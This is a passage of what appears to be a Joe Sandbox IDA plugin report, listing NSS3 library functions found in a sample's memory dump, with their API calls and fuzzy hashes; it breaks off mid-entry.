Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 7b9348538981de1306afad7e0f64ba132396bc3116066cca4e4ffefb0c061510
Instruction ID: aea5fc43908700576901f4a3d8f9e08238c7275b1d97a9f4b8edbb24d336fda2
Opcode Fuzzy Hash: 7b9348538981de1306afad7e0f64ba132396bc3116066cca4e4ffefb0c061510
Instruction Fuzzy Hash: DF91B472D01618DFEF08DFE4E9487ADB7B1FF0A305F24012AD8169B694D7396945CB82

Function 6D001D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D001D8F

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D001DA6

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6D001E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D001ED0

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 7d647537639049f3399cf55d2fb61e546931914874bfa1e65f5dc78a625ee3ce
Instruction ID: aeb8601e23a635e588ff3c75a182215ab1f26d4558a1f48c482f4180fac79ccd
Opcode Fuzzy Hash: 7d647537639049f3399cf55d2fb61e546931914874bfa1e65f5dc78a625ee3ce
Instruction Fuzzy Hash: C1515875A00349AFEB10CF98D884BAEB7F6FF49318F108129E9199B351D731E945CB92

Function 6D054FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CF385D2,00000000,?,?), ref: 6D054FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D05500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0550C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0550D6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 882ba2762a2639c75706d80d85355c8340fe4d404094f42229f92d1a25d23f26
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 304181B6A002118FDB18CF28DCE57AAB7E1BF4831871D466DD849CB706E375E891CB81

Function 6CF7FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CF7FDFE), ref: 6CF7FFAD

Part of subcall function 6CF1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CF7F9C9,?,6CF7F4DA,6CF7F9C9,?,?,6CF4369A), ref: 6CF1CA7A
Part of subcall function 6CF1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF1CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CF7FDFE), ref: 6CF7FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CF7FDFE), ref: 6CF8001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CF7FDFE), ref: 6CF8006F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 4322a98f18d31fce1b891c2e2d38ab949724446cb196269f5d1c1f8ce38b1a8d
Instruction ID: 6bb59c7b63db9423444dc0cb9f14dbc11f46a14124677a78d09416087da43e96
Opcode Fuzzy Hash: 4322a98f18d31fce1b891c2e2d38ab949724446cb196269f5d1c1f8ce38b1a8d
Instruction Fuzzy Hash: 1B41DDB1E022159FEF08CFA4E885BAEB771FB49314F140039DD1693740DB76A940CBA2

Function 6D067DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D067E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D067EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D067EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6D067ED8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 113f049b95e53d9dcc3a1246cc23b30c48968e55b047db43c1c9e6fc6b27f45e
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 6A3183B1E002518FEB04CF18D890A9ABBE2BFC831471B8169D9595B711EB71EC55CBD1

Function 6D01DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFBAE42), ref: 6CFA30AA
Part of subcall function 6CFA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFA30C7
Part of subcall function 6CFA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFA30E5
Part of subcall function 6CFA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFA3116
Part of subcall function 6CFA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFA312B
Part of subcall function 6CFA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFA3154
Part of subcall function 6CFA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFA317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6D01DBBD), ref: 6D01DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D01DFEE

Part of subcall function 6CFB86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFB8716
Part of subcall function 6CFB86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFB8727
Part of subcall function 6CFB86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFB873B
Part of subcall function 6CFB86D0: PR_Unlock.NSS3(?), ref: 6CFB876F
Part of subcall function 6CFB86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CFB8787

Part of subcall function 6CFDF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CFDF854
Part of subcall function 6CFDF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CFDF868
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CFDF882
Part of subcall function 6CFDF820: free.MOZGLUE(04C483FF,?,?), ref: 6CFDF889
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CFDF8A4
Part of subcall function 6CFDF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CFDF8AB
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CFDF8C9
Part of subcall function 6CFDF820: free.MOZGLUE(280F10EC,?,?), ref: 6CFDF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6D01DBBD), ref: 6D01DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6D01DBBD), ref: 6D01E007

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 80126907bc64d036ad47f887c75357d1134eba972a77569ea5fe69f5cae14f94
Instruction ID: ce80964ea4a72cb1963e02cafb35c5c20b452c1f3ab317cfb934b8457c577303
Opcode Fuzzy Hash: 80126907bc64d036ad47f887c75357d1134eba972a77569ea5fe69f5cae14f94
Instruction Fuzzy Hash: 6831CDB1A0860657F7015BBA9C85BAFB2F89F95208F050139E909D7753FB31D958C3B2

Function 6CF96C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF96C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF96CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CF96CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6D0B8FE0), ref: 6CF96CFE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: f6b38bae55331fac22542ab68d4f73c5ba62171f5be57232da095ebe256ee4f3
Instruction ID: b2309822b8fc22e561c2c1a42cbdd5a64ef87c01c24435609b97b7b748478c46
Opcode Fuzzy Hash: f6b38bae55331fac22542ab68d4f73c5ba62171f5be57232da095ebe256ee4f3
Instruction Fuzzy Hash: 1B3181B1A002169FEB08CF65C891ABFBBF5EF49248B10443DE915D7750EB319905CBE0

Function 6D0A4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6D0A4F5D
free.MOZGLUE(?), ref: 6D0A4F74
free.MOZGLUE(?), ref: 6D0A4F82
GetLastError.KERNEL32 ref: 6D0A4F90

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 8d80cbb22575147f1ffc5bc0347d242f3ed3be113d439c287fd3c55bb91ad1a7
Instruction ID: 86e3f6f2eaf7b737b9d78212f418bba53d0af57ef6b68c05343f9de6385b734c
Opcode Fuzzy Hash: 8d80cbb22575147f1ffc5bc0347d242f3ed3be113d439c287fd3c55bb91ad1a7
Instruction Fuzzy Hash: AB312D79A0020A5BFB00CBA9DC41BEFB7F8FF49754F094125EC19A7242DB35D9058651

Function 6CFEDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CFEDDB1,?,00000000), ref: 6CFEDDF4

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CFEDDB1,?,00000000), ref: 6CFEDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CFEDDB1,?,00000000), ref: 6CFEDE17

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CFEDE80

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: c6ffa5882d2ae6c02d96bbf9bfde5eacdbecc4ab0b2f3727f6ce1201173ec14f
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: A731A4B1901742ABE710CF16D884692B7A4FFE931CB24822AD81987F51E771E5A4CB90

Function 6CFDFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFB5ADC,?,00000000,00000001,?,?,00000000,?,6CFABA55,?,?), ref: 6CFDFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CFDFE5F
PR_Unlock.NSS3(78831D74), ref: 6CFDFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CFDFED6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 373c5f00727acd85a1b4a7b31cfdf4682fc4052ad9a2fbc012d1cd2b03d3c685
Instruction ID: a90db6447ddf3ac8443cea07d39790cef3c476d3269d77c759d658af1e5f917d
Opcode Fuzzy Hash: 373c5f00727acd85a1b4a7b31cfdf4682fc4052ad9a2fbc012d1cd2b03d3c685
Instruction Fuzzy Hash: 80213132900626ABEB809F24D844BDB77B8BF04358F4E0124DD05A7A02E731F964CBD0

Function 6CFE3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE3440: PK11_GetAllTokens.NSS3 ref: 6CFE3481
Part of subcall function 6CFE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CFE34A3
Part of subcall function 6CFE3440: TlsGetValue.KERNEL32 ref: 6CFE352E
Part of subcall function 6CFE3440: EnterCriticalSection.KERNEL32(?), ref: 6CFE3542
Part of subcall function 6CFE3440: PR_Unlock.NSS3(?), ref: 6CFE355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CFCE80C,00000000,00000000,?,?,?,?,6CFD8C5B,-00000001), ref: 6CFE3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CFCE80C,00000000,00000000,?,?,?,?,6CFD8C5B,-00000001), ref: 6CFE3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CFCE80C,00000000,00000000,?,?,?,?,6CFD8C5B,-00000001), ref: 6CFE3FFE
PR_SetError.NSS3 ref: 6CFE401A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 1bf84368845e7afed59f26c25359ff50b42872db30ef97a49f6aefe2b8fc239a
Instruction ID: fb5490f5fe2617866789fb7b6bc86e9527d148027e11aee00cc1f3c8a34bc7d4
Opcode Fuzzy Hash: 1bf84368845e7afed59f26c25359ff50b42872db30ef97a49f6aefe2b8fc239a
Instruction Fuzzy Hash: 4E317E75908704DFDB00AF69D58466EBBF4FF88314F16592ED9898B711EB30E884CB92

Function 6CFD4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CFDB60F,00000000), ref: 6CFD5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CFDB60F,00000000), ref: 6CFD501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CFDB60F,00000000), ref: 6CFD504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CFDB60F,00000000), ref: 6CFD5064

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 177bbdee2ef10b5daaafd734acdc543fd2063e7d6a47cf4c73b7888362a491f1
Instruction ID: 3c9ef480d60aa6264860a7609c35a3b8e775515ddfae9125d0ab17afd8657d2c
Opcode Fuzzy Hash: 177bbdee2ef10b5daaafd734acdc543fd2063e7d6a47cf4c73b7888362a491f1
Instruction Fuzzy Hash: 3B3127B0A05A068FDB00EF68D484A6ABBF4FF48304B1A8529D859D7701E730E890CBD2

Function 6CF91EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CF94C64,?,-00000004), ref: 6CF91EE2

Part of subcall function 6CFF1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CF91D97,?,?), ref: 6CFF1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CF94C64,?,-00000004), ref: 6CF91F13
DER_DecodeTimeChoice_Util.NSS3(?,6CF94CA0,?,?,?,?,?,?,00000000,00000000,?,6CF94C64,?,-00000004), ref: 6CF91F37
DER_DecodeTimeChoice_Util.NSS3(?,6CF94C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF94C64,?,-00000004), ref: 6CF91F53

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 8541e524acf7f65e37e29019a969d46342fd91678d9e951964d51a300ddcce7f
Instruction ID: 39ff9a6c3a2142817a84300a910b4f8ced42f67cec7166e54a69a9dd5a5ed577
Opcode Fuzzy Hash: 8541e524acf7f65e37e29019a969d46342fd91678d9e951964d51a300ddcce7f
Instruction Fuzzy Hash: 622165B2904359AFDB00DF26DD00ADBB7EDEB84799F008929E855C3A40F731E559CB92

Function 6CFF9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CFFA71A,FFFFFFFF,?,?), ref: 6CFF9FAB

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

